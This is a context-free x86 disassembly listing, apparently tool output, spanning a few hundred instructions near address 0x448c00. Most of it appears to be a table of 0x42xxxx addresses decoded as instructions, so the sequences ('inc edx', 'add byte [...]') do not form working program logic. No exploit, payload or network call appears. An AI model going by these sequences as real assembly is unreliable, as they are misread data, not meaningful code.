inc edx
add byte [esi], ch
outsb dx, byte [esi]
inc edx
add byte [edi + 0x700426c], ch
outsb dx, byte [esi]
inc edx
add byte [ecx], bl
insd dword es:[edi], dx
inc edx
add byte [edi], al
outsb dx, byte [esi]
inc edx
add bh, al
jo 0x448c69
add byte [edi], al
outsb dx, byte [esi]
inc edx
add byte [ebx], al
jno 0x448c71
add al, dh
jo 0x448c75
add byte [0x21004271], ch
jb 0x448c7d
add byte [edx - 0x7fffbd8f], bl
jno 0x448c85
add al, bl
jno 0x448c89
add byte [eax - 0x7fffbd8e], dh
jb 0x448c91
add byte [eax - 0x7fffbd8e], al
jb 0x448c99
add byte [edx - 0x7fffbd8e], al
jb 0x448ca1
add byte [edx + esi*2 + 0x72580042], ah
inc edx
add byte [eax + 0x63004272], dh
jb 0x448cb1
jb 0x448cad
add byte [ebx + 0x72], ah
inc edx
add byte [esi - 0x37ffbd8e], bh
jb 0x448cb5
add al, cl
jb 0x448cb9
add byte [ecx + 0x73], bl
inc edx
add byte [edi + 0x73], bl
inc edx
jae 0x448cc1
add byte [esp + esi*2 + 0x42], cl
add byte [edx + 0x74], ah
inc edx
je 0x448cc9
add byte [eax + 0x74], ah
inc edx
je 0x448ccd
add byte [eax + 0x74], ah
inc edx
add byte [edx + 0x74], ah
inc edx
je 0x448cd5
add byte [eax + 0x74], ah
inc edx
add byte [eax + 0x74], dh
inc edx
je 0x448cdd
add byte [eax + 0x74], dh
inc edx
add al, dh
jo 0x448ce5
add byte [eax + 0x74], dh
inc edx
add byte [ecx], dl
outsb dx, byte [esi]
inc edx
add byte [esi], ch
outsb dx, byte [esi]
inc edx
add byte [esi + ebp*2], dh
outsb dx, byte [esi]
inc edx
add byte [ebx + 0x6e], al
outsb dx, byte [esi]
inc edx
add byte [edx + 0x6b], dl
inc edx
add ch, ch
imul eax, dword [edx], 0xffffffed
outsb dx, byte [esi]
inc edx
add ah, bh
outsb dx, byte [esi]
inc edx
add byte [esi + 0x6b], ch
inc edx
add byte [eax + 0x7800426b], dl
imul eax, dword [edx], 0x78
imul eax, dword [edx], 0xffffff9c
imul eax, dword [edx], 0xffffff90
imul eax, dword [edx], 2
outsd dx, dword [esi]
inc edx
add byte [edx - 0x35ffbd8c], dh
je 0x448d21
add dl, cl
je 0x448d25
add cl, al
je 0x448d29
add byte [edx - 0x3effbd8c], dh
je 0x448d31
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx + 0x63], bh
inc edx
add al, cl
ja 0x448d45
add cl, bh
ja 0x448d49
add dh, cl
ja 0x448d4d
add byte [edx - 0x7fffbd7d], ah
jns 0x448d55
add byte [eax - 0x70ffbd87], dl
add byte [edx], 0xb1
jns 0x448d61
add byte [eax - 0x7d], dh
inc edx
add cl, ah
add dword [edx], 0xffffffe1
jns 0x448d69
add byte [esi - 0x7d], dh
inc edx
add byte [edi + 0x5e004283], al
add dword [edx], 0xffffff87
add dword [edx], 0x5e
add dword [edx], 0x76
add dword [edx], 0x70
add dword [edx], 0xffffffe7
jns 0x448d81
add cl, dh
jns 0x448d85
add byte [ebx + 0x7b], cl
inc edx
jnp 0x448d89
add byte [ebx + 0x7b], cl
inc edx
jnp 0x448d8d
add byte [ebx], bh
jge 0x448d91
add byte [ecx - 0x5effbd83], bl
jge 0x448d99
add al, bh
jle 0x448d9d
add byte [ecx], al
jg 0x448da1
add byte [eax], ah
jg 0x448da5
add byte [edi], bh
jg 0x448da9
add byte [esi], ah
jg 0x448dad
add byte [eax], dh
jg 0x448db1
add byte [edi], bh
jg 0x448db5
add byte [eax], dh
jg 0x448db9
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x7d], dh
inc edx
add dword [edx], 1
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x70ffbd80], al
add byte [edx], 0x8f
add byte [edx], 0x26
add dword [edx], case.0x426581.146
inc eax
add dword [edx], case.0x426581.146
inc esi
add dword [edx], case.0x426581.149
inc eax
add dword [edx], case.0x426581.146
loopne 0x448e21
add dword [edx], case.0x426581.151
ja 0x448ded
inc edx
add byte [ecx + eax*4 + 0x42], dl
add byte [eax + 0x7f], ah
inc edx
push esp
add dword [edx], case.0x426581.153
add byte [bp + si], 1
jg 0x448df5
add byte [edi - 0x80], ah
inc edx
add byte [ecx], al
add byte [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x80], ah
inc edx
add byte [edi - 0x80], ch
inc edx
add byte [eax - 0x7fffbd80], al
add byte [edx], 0x80
add byte [edx], 0xe0
ja 0x448e1d
add byte [eax - 0x4fffbd80], al
add dword [edx], 0xffffffa8
add dword [edx], 0xffffffb6
add dword [edx], 0xffffffb0
add dword [edx], 0x2c
test dword [edx], eax
dec esp
inc edx
add byte [eax*4 - 0x7ab3ffbe], ch
inc edx
add bl, al
test dword [edx], eax
jb 0x448d83
test dword [edx], eax
ret
inc edx
add byte [ebp + 0x57004285], ch
xchg byte [edx], al
push eax
xchg dword [edx], eax
lodsd eax, dword [esi]
test dword [edx], eax
test dword [edi - 0x798fffbe], eax
inc edx
add byte [ebp + 0x70004287], dl
xchg byte [edx], al
movsd dword es:[edi], dword [esi]
xchg dword [edx], eax
jo 0x448dac
inc edx
add byte [ebp + 0x70004287], dh
xchg byte [edx], al
rol byte [edi - 0x798fffbe], 1
inc edx
add al, dl
xchg dword [edx], eax
rol byte [edi - 0x781fffbe], 1
inc edx
add al, dl
xchg dword [edx], eax
loopne 0x448dd1
inc edx
add al, ah
xchg dword [edx], eax
loopne 0x448dd9
inc edx
add dh, ah
xchg dword [edx], eax
aaa
mov byte [edx], al
inc ebx
mov byte [edx], al
push esp
mov al, byte [edx]
je 0x448dee
inc edx
add byte [0x9d00428b], bh
mov byte [edx], al
xlatb
mov byte [edx], al
fisttp qword [eax - 0x75bdffbe]
inc edx
add byte [0x2e00428b], bh
mov eax, dword [edx]
and eax, 0x3d00428b
mov eax, dword [edx]
and eax, 0x5000428b
mov eax, dword [edx]
push eax
mov eax, dword [edx]
push eax
mov eax, dword [edx]
push edx
mov eax, dword [edx]
dec eax
mov al, byte [edx]
push esp
mov al, byte [edx]
hlt